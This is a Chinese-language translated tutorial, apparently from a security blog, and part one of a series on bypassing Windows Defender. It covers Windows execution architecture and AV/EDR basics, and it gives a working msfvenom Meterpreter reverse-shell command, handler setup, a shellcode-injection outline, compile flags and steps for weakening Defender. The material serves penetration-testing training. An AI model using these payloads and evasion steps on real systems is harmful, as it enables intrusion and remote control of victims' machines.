导语:作为渗透测试工程师,持续跟进最新的攻击技术是基本功,而绕过终端杀软更是红队行动的必备技能。本文译自安全博客Hackmosphere(黑客场),系统讲解Windows执行架构与杀软检测原理,并手把手搭建实验环境、实现基础shellcode注入。全文分上下两篇,此为上篇,下篇将深入静态与动态检测的bypass技术。
原文来源:https://www.hackmosphere.fr/bypass-windows-defender-antivirus-2025-part-1/
一、前言
作为渗透测试工程师,我们需要持续跟进最新的攻击技术趋势,而绕过杀软(Antivirus,AV)正是红队活动的核心技能之一。由于内容较多,本系列将分为两篇文章:
- 上篇(本文):Windows架构基础、杀软工作原理、实验环境搭建,以及使用C++执行原始shellcode
- 下篇:静态检测与动态检测的各类bypass技术
如果已经熟悉杀软bypass的理论部分,可直接跳转至下篇:https://www.hackmosphere.fr/bypass-windows-defender-antivirus-2025-part-2/
本文所有代码均可在以下仓库获取:https://github.com/Hackmosphere/DefenderBypass
各文件说明:
| 文件 | 功能 |
|---|---|
| myEncoder3.py | 将二进制shellcode转换为十六进制并进行XOR加密 |
| InjectBasic.cpp | 基础shellcode注入器(C++) |
| InjectCryptXOR.cpp | 基础注入器 + XOR解密shellcode |
| InjectSyscall-LocalProcess.cpp | 远程进程注入 + 直接系统调用(syscall)+ IAT清理 |
| InjectSyscall-RemoteProcess.cpp | 远程进程注入版本 |
免责声明:本文仅供教育目的的渗透测试学习研究之用,切勿用于非法活动。
二、Windows执行流程基础
在深入杀软bypass之前,理解Windows的一些基础知识至关重要。
下面这张图由Alexander Sotirov绘制,展示了Windows程序的执行流程,重点揭示了应用程序、动态链接库(DLL)和Windows内核之间的关系:
.png)
图:Windows程序执行流程(图片来源:Hackmosphere,原作者Alexander Sotirov)
各组件说明:
- 应用程序(Applications):用户直接交互的程序,如firefox.exe
- 动态链接库(DLLs):应用程序通过调用DLL来使用Windows功能,而无需直接访问底层代码。DLL负责用户界面操作、文件管理等任务
- Kernel32.dll:Windows操作系统的核心DLL之一,提供内存管理、进程/线程创建等基本功能
- Ntdll.dll:用户态最底层的DLL,暴露NT API(原生API),允许应用程序发起低层调用,充当用户态组件与内核之间的中间层,将用户请求转换为内核可理解的系统调用(syscall)
- 内核(Kernel):Windows操作系统的核心,负责管理内存、进程、硬件交互等系统资源,运行在”内核态”(kernel-mode),拥有硬件的完全访问权限
C++创建文件示例:完整调用链
// 1. 代码中调用CreateFile函数
// 应用程序发起API调用与系统交互
// 2. CreateFile转发至NtCreateFile
// 调用经过多个DLL(如Kernel32)传递,有时直接传递至Ntdll.dll
// 3. NtCreateFile触发syscall
// Ntdll.dll将API调用转换为低层系统调用(syscall)
// 4. 内核执行系统调用,创建文件并返回句柄
// 内核直接访问硬件和系统资源
三、杀软与Shellcode概述
杀毒软件(AV)和端点检测与响应(EDR)都是网络安全的核心组件,但功能定位不同。
传统杀毒软件
Windows Defender作为传统杀软的代表,采用预防优先的策略,主要依靠两大支柱检测和阻止威胁:
- 静态分析:通过文件中的已知签名特征识别威胁
- 动态分析:通过沙箱或有限的行为分析技术监控应用程序行为
对已知威胁效果较好,但面对高级和新型攻击向量时往往力不从心。
EDR(端点检测与响应)
EDR则更进一步,采取主动调查的方式。EDR让程序正常运行,同时在内核级别持续监控端点(服务器、计算机等)活动,利用行为分析等高级检测机制发现异常和潜在威胁。
AV与EDR的核心区别
杀软侧重于在威胁执行之前将其阻止,好比是”前门锁”。EDR则假设入侵难以避免,专注于事后的可视化调查和事件响应,以最小化损害并加快恢复。两者构成纵深防御体系,杀软负责预防,EDR负责检测、调查和修复。
编者注:本文聚焦杀软bypass技术,EDR bypass同等重要,将另文探讨。
四、Shellcode理解
利用目标漏洞时,需要一个载荷(payload)来控制受害主机执行我们想要的操作。载荷有多种形式,其中一种称为shellcode。Shellcode通常以二进制形式编写,被注入到目标进程或内存空间中执行恶意指令。
“Shellcode”一词源于其最初用途——为攻击者提供一个Shell(命令提示符),但现代shellcode可以执行各类任务,包括权限提升、下载并执行额外载荷等。在网络安全领域,shellcode既是攻击者的武器,也是防御者的工具——渗透测试人员用它来模拟真实攻击场景。理解shellcode对于检测和阻止利用该技术的攻击至关重要。
Shellcode注入原理
分配(Allocate)– 写入(Write)– 执行(Execute)是向进程中注入shellcode的常规步骤(更高级的技术不在本文讨论范围内):
- 在进程中使用
VirtualAlloc()分配一块具有RWX(读-写-执行)权限的内存区域,大小与shellcode相同 - 使用
memcpy()将shellcode复制到该内存区域 - 执行分配内存中的内容
_1.png)
图:Allocate-Write-Execute三步注入流程(图片来源:Hackmosphere)
五、实验环境搭建
进行测试需要一个攻击端Kali虚拟机和一个受害端Windows虚拟机,两者之间能够互相通信。
Kali攻击端(192.168.242.128)
必须执行的操作:
- 生成Meterpreter shellcode(这是被故意做成高检测率的shellcode):
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.242.128 LPORT=443 EXITFUNC=thread --platform windows -f raw -o reverse64-192168242128-443.bin
- 启动Meterpreter监听器,接收受害机的连接:
msfconsole
use exploit/multi/handler
set payload windows/x64/meterpreter/reverse_tcp
set LPORT 443
set LHOST 192.168.242.128
run
Windows受害端
必须执行的操作:
- 确保攻击VM和受害VM之间网络互通
- 确保Windows和Defender均为最新版本
- 对测试目录添加杀软排除项(Antivirus Exclusion),确保代码在尝试真正bypass之前能正常运行
- 测试本地时,建议关闭”自动样本提交”(Automatic sample submission),否则测试程序可能在上线前就被提交至Microsoft分析并被Defender标记
⚠️ 注意:关闭样本提交有助于开发测试,但会影响Defender整体检测能力,特别是在较高云防护级别下。在云防护级别较高的环境中,Defender可能依赖云端判断文件是否恶意。关闭样本提交会限制该分析能力。本环境仅适用于本地实验环境,离开受控测试环境后务必重新启用完整防护(包括样本提交)。
六、使用C++执行基础Shellcode
实验环境搭建完成后,应该已经有了名为reverse64-192168242128-443.bin的shellcode文件。这个文件包含了我们需要执行的shellcode,用于连接回攻击机器并获得完整控制权。
前文提到,shellcode本质上是二进制数据,需要转换为十六进制数据才能被C++使用。使用仓库中的myEncoder3.py脚本完成转换(别忘了先运行pip3 install -r requirements.txt)。
基础注入实现
从GitHub仓库获取InjectBasic.cpp,它实现了一种非常基础的shellcode注入技术(分配-写入-执行)。核心步骤如下:
// 1. 将myEncoder3.py生成的shellcode放入shellcode[]数组
// 2. 通过VirtualAlloc()分配RWX内存,大小为shellcode长度
// 3. 通过memcpy()将shellcode复制到该内存区域
// 4. 执行分配的内存
OPSEC注意:直接分配
PAGE_EXECUTE_READWRITE内存是一个强烈的可疑指标,通常会被安全解决方案标记。更隐蔽的做法是:先将内存保护设置为PAGE_READWRITE,写入载荷后再改为可执行。下一篇文章将提供更隐蔽的实现示例。
编译与运行
安装g++编译器(Windows):参考此教程。
编译命令:
g++ injectBasic.cpp -o OutputFile.exe -O2 -s -fno-exceptions -fno-rtti -ffunction-sections -fdata-sections -Wl,--gc-sections -std=c++11
运行测试:
- 在添加了杀软排除项的目录中运行:成功获得Meterpreter反向shell ✅
- 将可执行文件放到没有排除项的目录:Windows Defender立即检测并拦截 ❌
七、总结
作为两篇文章的上篇,本文建立了理解Windows执行流程、杀软及其工作原理的基础知识。还详细讲解了如何搭建一个可以”安心练习”的实验环境,最后提供了使用msfvenom生成的shellcode通过C++代码执行的基本方法。当然,这种代码一旦落在磁盘上就会立即被Defender检测到。
下篇将探讨如何实现能绕过Windows Defender检测的各类evasion技术,包括:XOR加密shellcode以绕过静态签名、直接syscall以绕过用户态API Hook、远程进程注入以隐藏执行上下文、清理导入地址表(IAT)以降低静态分析指标等。
源码仓库:https://github.com/Hackmosphere/DefenderBypass
原文链接:https://www.hackmosphere.fr/bypass-windows-defender-antivirus-2025-part-1/
版权声明:本文由华盟网翻译自Hackmosphere安全博客,保留所有权利。配图已获授权使用或注明来源。














暂无评论内容